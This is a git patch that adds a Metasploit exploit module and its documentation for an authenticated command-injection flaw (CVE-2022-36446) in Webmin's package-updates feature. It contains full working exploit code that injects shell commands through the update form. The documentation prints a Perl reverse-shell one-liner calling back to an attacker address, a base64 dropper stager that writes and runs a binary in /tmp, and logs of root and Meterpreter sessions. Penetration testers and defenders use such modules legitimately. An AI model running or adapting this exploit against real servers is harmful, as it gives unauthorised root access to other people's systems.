From 449a7b71d5c3a8a2d3f6a080538620cda52c926d Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Wed, 3 Aug 2022 12:01:41 +0200 Subject: [PATCH 1/2] Add module exploit and docs for the Webmin package updates RCE --- .../linux/http/webmin_package_updates_rce.md | 103 +++++++++++ .../linux/http/webmin_package_updates_rce.rb | 170 ++++++++++++++++++ 2 files changed, 273 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/webmin_package_updates_rce.md create mode 100644 modules/exploits/linux/http/webmin_package_updates_rce.rb diff --git a/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md b/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md new file mode 100644 index 0000000000..ec9884ece4 --- /dev/null +++ b/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md @@ -0,0 +1,103 @@ +## Vulnerable Application + +This module exploits an arbitrary command injection in Webmin versions prior to +1.997. + +Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package +updates and installation. Due to a lack of input sanitization, it is possibe to +inject arbitrary command that will be concatenated to the package manager call. + +This exploit requires authentication and the account must have access to the +Software Package Updates module. + +## Instalation + +### Ubuntu +- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb +- Install it along with its dependencies +``` +apt-get install libauthen-pam-perl +dpkg -i ./webmin_1.996_all.deb +``` + +## Setup +- Go to `https://:10000/` +- Login as `root` with the OS password +- Create a new user: + `Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create` +- Setup permissions + `Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save` + +## Verification Steps +1. Install and setup the application +1. Start msfconsole +1. Do: `use exploit/linux/http/webmin_package_updates_rce` +1. Do: `run lhost= rhosts= username= password=` +1. You should get a shell. + +## Options + +### TARGETURI + +Set this to the Webmin base path. The default is `/`. + +### USERNAME + +The account username to use. + +### PASSWORD + +The account password. + +## Scenarios + +### Webmin 1.996 on Ubuntu 18.04 +- Target 0 (`Unix In-Memory`) +``` +msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456 + +[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Webmin 1.996 detected +[+] Webmin 1.996 is a supported target +[+] The target appears to be vulnerable. +[*] Attempting login +[+] Logged in! +[*] Sending payload +[*] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200 + +id +uid=0(root) gid=0(root) groups=0(root) + +cat /etc/issue +Ubuntu 18.04.6 LTS \n \l +``` + +- Target 1 (`Linux Dropper`) +``` +msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456 + +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Webmin 1.996 detected +[+] Webmin 1.996 is a supported target +[+] The target appears to be vulnerable. +[*] Attempting login +[+] Logged in! +[*] Sending payload +[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"] +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3020772 bytes) to 192.168.0.23 +[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200 +[*] Command Stager progress - 100.00% done (823/823 bytes) + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.0.23 +OS : Ubuntu 18.04 (Linux 5.4.0-122-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/http/webmin_package_updates_rce.rb b/modules/exploits/linux/http/webmin_package_updates_rce.rb new file mode 100644 index 0000000000..080857695d --- /dev/null +++ b/modules/exploits/linux/http/webmin_package_updates_rce.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Webmin Package Updates RCE', + 'Description' => %q{ + This module exploits an arbitrary command injection in Webmin + versions prior to 1.997. + + Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform + package updates and installation. Due to a lack of input + sanitization, it is possibe to inject arbitrary command that will be + concatenated to the package manager call. + + This exploit requires authentication and the account must have access + to the Software Package Updates module. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Christophe De La Fuente', # MSF module + 'Emir Polat' # Discovery and PoC + ], + 'References' => [ + [ 'EDB', '50998' ], + [ 'URL', 'https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165'], + [ 'CVE', '2022-36446'] + ], + 'DisclosureDate' => '2022-07-26', + 'Platform' => ['unix', 'linux'], + 'Privileged' => true, + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Payload' => { 'BadChars' => '/' }, + 'DefaultOptions' => { + 'RPORT' => 10000, + 'SSL' => true + }, + 'Targets' => [ + [ + 'Unix In-Memory', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']), + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '123456']) + ] + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res + + if res.body.include?('This web server is running in SSL mode.') + return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed") + end + + version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first + + return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version + + version = Rex::Version.new(version) + + vprint_status("Webmin #{version} detected") + + unless version < Rex::Version.new('1.997') + return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target") + end + + vprint_good("Webmin #{version} is a supported target") + + CheckCode::Appears + rescue ::Rex::ConnectionError + return CheckCode::Unknown("#{peer} - Could not connect to web service") + end + + def do_login + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/session_login.cgi'), + 'headers' => { 'Referer' => full_uri }, + 'cookie' => 'testing=1', + 'keep_cookies' => true, + 'vars_post' => { + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'] + } + }) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302 + + print_good('Logged in!') + end + + def execute_command(cmd, _opts = {}) + cmd = cmd.gsub('/', '${SEP}').gsub('\'', '"') + cmd = "#{rand_text_alphanumeric(4)};SEP=$(perl -MMIME::Base64 -e \"print decode_base64('Lw==')\")&&#{cmd}" + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/package-updates/update.cgi'), + 'headers' => { 'Referer' => full_uri }, + 'vars_post' => { + 'mode' => 'new', + 'search' => rand_text(10), + 'redir' => '', + 'redirdesc' => '', + 'u' => cmd, + 'confirm' => 'Install Now' + } + }) + end + + def exploit + print_status('Attempting login') + do_login + + print_status('Sending payload') + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end +end From 38b845f247484c457b7dd496edf697ca0b8cfdf1 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Tue, 9 Aug 2022 15:09:25 +0200 Subject: [PATCH 2/2] Fix from code review - Documentation typos - Adding ARM64 support --- .../linux/http/webmin_package_updates_rce.md | 10 +++++----- .../linux/http/webmin_package_updates_rce.rb | 13 +++++++++++-- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md b/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md index ec9884ece4..17c144f1fb 100644 --- a/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md +++ b/documentation/modules/exploit/linux/http/webmin_package_updates_rce.md @@ -4,19 +4,19 @@ This module exploits an arbitrary command injection in Webmin versions prior to 1.997. Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package -updates and installation. Due to a lack of input sanitization, it is possibe to -inject arbitrary command that will be concatenated to the package manager call. +updates and installation. Due to a lack of input sanitization, it is possible to +inject an arbitrary command that will be concatenated to the package manager call. This exploit requires authentication and the account must have access to the Software Package Updates module. -## Instalation +## Installation ### Ubuntu - Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb -- Install it along with its dependencies +- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04) ``` -apt-get install libauthen-pam-perl +apt-get install libauthen-pam-perl libio-pty-perl dpkg -i ./webmin_1.996_all.deb ``` diff --git a/modules/exploits/linux/http/webmin_package_updates_rce.rb b/modules/exploits/linux/http/webmin_package_updates_rce.rb index 080857695d..71ce43e617 100644 --- a/modules/exploits/linux/http/webmin_package_updates_rce.rb +++ b/modules/exploits/linux/http/webmin_package_updates_rce.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2022-07-26', 'Platform' => ['unix', 'linux'], 'Privileged' => true, - 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64], 'Payload' => { 'BadChars' => '/' }, 'DefaultOptions' => { 'RPORT' => 10000, @@ -57,13 +57,22 @@ class MetasploitModule < Msf::Exploit::Remote } ], [ - 'Linux Dropper', + 'Linux Dropper (x86 & x64)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } + ], + [ + 'Linux Dropper (ARM64)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' } + } ] ], 'DefaultTarget' => 0,